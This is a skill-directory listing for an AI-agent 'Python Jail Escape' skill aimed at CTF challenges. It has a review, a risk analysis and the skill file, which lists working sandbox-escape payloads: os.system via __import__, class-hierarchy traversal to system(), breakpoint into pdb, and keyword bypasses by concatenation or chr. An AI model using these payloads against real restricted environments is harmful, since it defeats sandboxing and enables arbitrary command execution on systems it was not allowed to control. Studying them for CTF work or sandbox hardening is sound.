Python Jail Escape

VerifiedCaution

Escape Python sandbox restrictions. Use when working with restricted Python eval/exec environments, sandbox escapes, or Python jail challenges.

Sby Skills Guide Bot
SecurityAdvanced
007/30/2026
Claude CodeCursorWindsurfCopilotCodex
#python-sandbox-escape#jail-escape#ctf#bypass-techniques

Recommended for

Our review

Provides techniques to escape restricted Python environments (jails) by bypassing filters and executing commands.

Strengths

  • Covers multiple escape techniques (builtins, class hierarchy, breakpoint)
  • Includes quick reference and debugging methods
  • Suitable for CTF challenges and security assessments

Limitations

  • Assumes basic Python programming knowledge
  • May not work against all sandbox implementations (e.g., completely blocked builtins)
  • Some techniques may be patched in newer Python versions
When to use it

When you encounter a Python sandbox or jail that restricts code execution and need to exfiltrate data or execute system commands.

When not to use it

In production environments or systems you do not own, and when other simpler bypass methods are available.

Security analysis

Caution
Quality score85/100

The skill is a collection of Python jail escape payloads and techniques. While intended for educational or CTF use, it inherently enables circumventing security restrictions in Python environments. When combined with the allowed Bash tool, an agent could execute arbitrary system commands, posing a moderate risk if not properly sandboxed.

Findings
  • Teaches Python sandbox escape techniques that enable arbitrary command execution via system calls.
  • Allows use of Bash tool, which could be leveraged to run destructive commands if combined with an escaped shell.
  • Provides methods to bypass keyword filters and restricted builtins, potentially leading to unauthorized access.

Examples

Basic builtins escape
I need to escape a Python eval sandbox that blocks 'import' and 'os'. How can I execute 'cat flag.txt' using string concatenation or character codes?
Class hierarchy escape
In a Python jail with no builtins available, find a way to access the os module using the class hierarchy of tuples or strings to execute 'ls -la'.
Breakpoint escape
I'm in a Python 3.7+ jail that allows breakpoint(). Show me how to drop into pdb and run shell commands to read a file.

name: pyjail description: Escapes Python sandbox restrictions. Use when working with restricted Python eval/exec environments, sandbox escapes, filtered input challenges, or Python jail challenges. allowed-tools: Bash, Read, Write, Grep, Glob

Python Jail Escape Skill

Quick Workflow

Progress:
- [ ] Identify restrictions (blocked keywords/chars)
- [ ] Try basic escapes first
- [ ] If builtins blocked, use class hierarchy
- [ ] Bypass filters with encoding/concatenation
- [ ] Execute command to get flag

Quick Reference - Common Escapes

# Basic command execution
__import__('os').system('cat flag.txt')
eval("__import__('os').system('id')")
exec("import os; os.system('ls')")

# Using breakpoint (Python 3.7+)
breakpoint()  # Drops into pdb, then !cat flag.txt

# No builtins - class hierarchy
().__class__.__base__.__subclasses__()[132].__init__.__globals__['system']('cat flag')

# Keyword bypass
__import__('o'+'s').system('cat flag')
__import__(chr(111)+chr(115)).system('cat flag')

Reference Files

| Topic | Reference | |-------|-----------| | Bypass Techniques | reference/bypass.md | | Complete Payloads | reference/payloads.md |

Quick Debugging

# Find useful class index
for i, c in enumerate(().__class__.__base__.__subclasses__()):
    if 'wrap' in str(c): print(i, c)

# Check available builtins
dir(__builtins__)
Related skills